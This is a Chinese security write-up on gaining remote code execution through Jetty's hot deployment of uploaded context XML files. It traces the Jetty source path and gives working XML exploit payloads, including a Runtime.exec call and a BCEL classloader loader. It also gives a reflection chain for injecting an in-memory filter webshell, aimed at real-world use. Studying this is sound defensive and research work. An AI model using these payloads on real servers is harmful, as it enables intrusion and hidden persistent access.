前言
在8月份的时候在蓝鸟上看见有研究员分享一个关于jetty中间件下的上传xml来rce的trick,当存在一个上传漏洞且可以上传一个xml文件到webapss下面的时候,我们可以使用以下XML文件实现RCE,其代码将在应用程序部署时立即执行(不需要重启)。
该xml文件有自己的语法,允许实例化任何对象,并调用getter、setter和方法;可以参考官方文档语法知道 Call 标签是实现指定对象的任意⽅法调⽤
<?xml version="1.0"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd">
<Configure class="org.eclipse.jetty.server.handler.ContextHandler">
<Call class="java.lang.Runtime" name="getRuntime">
<Call name="exec">
<Arg>
<Array type="String">
<Item>calc</Item>
</Array>
</Arg>
</Call>
</Call>
</Configure>
分析
本地搭建了一个文件上传的漏洞利用环境,只能上传xml文件,首先将上面的xml上传到webapss目录下,查看了一下堆栈信息,发现在jetty启动部署时存在一个scan线程,其中的一个方法为reportDifferences
,该方法作用主要就是扫描webapps下的文件是否存在更新、修改、删除等操作。我这里是上传了一个新的xml,所以调用的notefication的值就为added
在判断是新增文件后,就会调用DeploymentManager对象,而该对象在jetty中的主要作用就是
-
跟踪应用程序及其生命周期位置
-
管理 AppProviders 及其提供的应用程序。
-
根据当前和所需的生命周期位置在 App 上执行 AppLifeCycle
addApp方法主要作用就是接收新建一个要处理的应用程序,传入的是一个App对象,该App对象是一个指定 Origin ID 和 archivePath 的 App
进入addApp,通过AppLifeCycle将应用程序移动到所需节点并设置绑定生命周期
在runBindings方法中会去调用binding.processBinding方法,通过节点名和app对象进行调用,此时的binding对象为StandarDeployer
在processBinding方法中,调用了app.getContextHandler(),获取到程序的ContextHandler对象,而Jetty处理过程中正是根据 ContextHandler 进⾏上下⽂管理
public void processBinding(Node node, App app) throws Exception {
ContextHandler handler = app.getContextHandler();
if (handler == null) {
throw new NullPointerException("No Handler created for App: " + app);
} else {
Callback.Completable blocker = new Callback.Completable();
app.getDeploymentManager().getContexts().deployHandler(handler, blocker);
blocker.get();
}
}
而我们此时的ContextHandler是为null,就会去调用createContextHandler新建一个ContextHandler对象
public ContextHandler getContextHandler() throws Exception {
if (this._context == null) {
this._context = this.getAppProvider().createContextHandler(this);
AttributesMap attributes = this._manager.getContextAttributes();
if (attributes != null && attributes.size() > 0) {
attributes = new AttributesMap(attributes);
attributes.addAll(this._context.getAttributes());
this._context.setAttributes(attributes);
}
}
return this._context;
}
新建的时候就会调用xmlc.configure()对我们的xml文件进行解析
public ContextHandler createContextHandler(App app) throws Exception {
Resource resource = Resource.newResource(app.getOriginId());
File file = resource.getFile();
if (!resource.exists()) {
throw new IllegalStateException("App resource does not exist " + resource);
} else {
String context = file.getName();
if (resource.exists() && FileID.isXmlFile(file)) {
XmlConfiguration xmlc = new XmlConfiguration(resource.getURI().toURL()) {
public void initializeDefaults(Object context) {
super.initializeDefaults(context);
if (context instanceof WebAppContext) {
WebAppContext webapp = (WebAppContext)context;
WebAppProvider.this.initializeWebAppContextDefaults(webapp);
}
}
};
this.getDeploymentManager().scope(xmlc, resource);
if (this.getConfigurationManager() != null) {
xmlc.getProperties().putAll(this.getConfigurationManager().getProperties());
}
return (ContextHandler)xmlc.configure();
跟到XmlConfiguration.configure方法中,会对xml内容进行一个递归解析,前面提到过该xml语法是可以利用Call标签进行实例化任何对象,继续跟如this.call方法
在call方法中通过获取对应标签的内容进行实例化指定的对象,造成漏洞触发
漏洞利用-内存马注入
这里前面的的payload只是简单的弹计算器,那么在实战项目中我们需要的一个webshell,既然可以实例化任何对象,那么就可以简单的构造一个加载bcel字节码的payload(当然如果jdk过高你也可以构造一个defenclass字节码加载)
<?xml version="1.0"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure id="abc" class="org.eclipse.jetty.webapp.WebAppContext">
<New id="cl" class="com.sun.org.apache.bcel.internal.util.ClassLoader">
<Call name="loadClass">
<Arg>$$BCEL$$......</Arg>
<Call name="newInstance"></Call>
</Call>
</New>
</Configure>
首先尝试利用的是自己以前写的jetty 哥斯拉内存马,发现内存马没注入上,发现通过上传触发漏洞对应的classloader为startjarloader.jar,难怪这里没有种上内存马
有过了解过jetty内存马师傅就可以知道我们是需要先获取到ServletHandler
对象后续利用该对象才可以添加filter内存马,于是我在XmlParser#parse处打下断点,并利用java-object-search
进行对象搜索
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("servletHandler").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("C:\Users\Administrator\Desktop\java-object-search\");
searcher.searchObject();
得到如下结果,通过这个堆栈结果就很简单了我们只需要通过线程去拿TimerTask[]在一步一步反射构造就可以拿到ServletHandler
对象
TargetObject = {java.util.TimerThread}
---> queue = {java.util.TaskQueue}
---> queue = {class [Ljava.util.TimerTask;}
---> [1] = {org.eclipse.jetty.util.Scanner$1}
---> this$0 = {org.eclipse.jetty.util.Scanner}
---> _listeners = {java.util.List<org.eclipse.jetty.util.Scanner$Listener>}
---> [0] = {org.eclipse.jetty.deploy.providers.ScanningAppProvider$1}
---> this$0 = {org.eclipse.jetty.deploy.providers.WebAppProvider}
---> _appMap = {java.util.Map<java.lang.String, org.eclipse.jetty.deploy.App>}
---> [C:UsersAdministratorDesktopjettywebappsspring.war] = {org.eclipse.jetty.deploy.App}
---> _context = {org.eclipse.jetty.webapp.WebAppContext}
---> _servletHandler = {org.eclipse.jetty.servlet.ServletHandler}
通过反射首先获取timertask对象
Thread thread = Thread.currentThread();
Field taskqueuefield = thread.getClass().getDeclaredField("queue");
taskqueuefield.setAccessible(true);
Object taskqueue = taskqueuefield.get(thread);
Field timertaskqueue = taskqueue.getClass().getDeclaredField("queue");
timertaskqueue.setAccessible(true);
Object timertask = timertaskqueue.get(taskqueue);
在获取到timertask对象强转为数组,获取[1]
即可获取到scanner对象,获取scanner对象后通过获取_listeners属性得到ArrayList类型的provider对象,在通过this$0获取到WebAppprovider属性
在WebAppprovider对象中通过调用其父类的_appMap
属性得到一个hashmap,key为部署的war包绝对路径,value中存放着context
属性;通过反射获取value中的context属性得到WebAppContext
对象,调用父类的_servletHandler属性即可获取到ServletHandler
对象
拿到servletHandler对象后,在通过addFilterWithMapping等方法去注入filter内存马即可,这一部分可参考网上公开的内存马部分即可
最后附上成功连接冰蝎
原文始发于微信公众号(从零开始的回忆录):Jetty xml trick
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论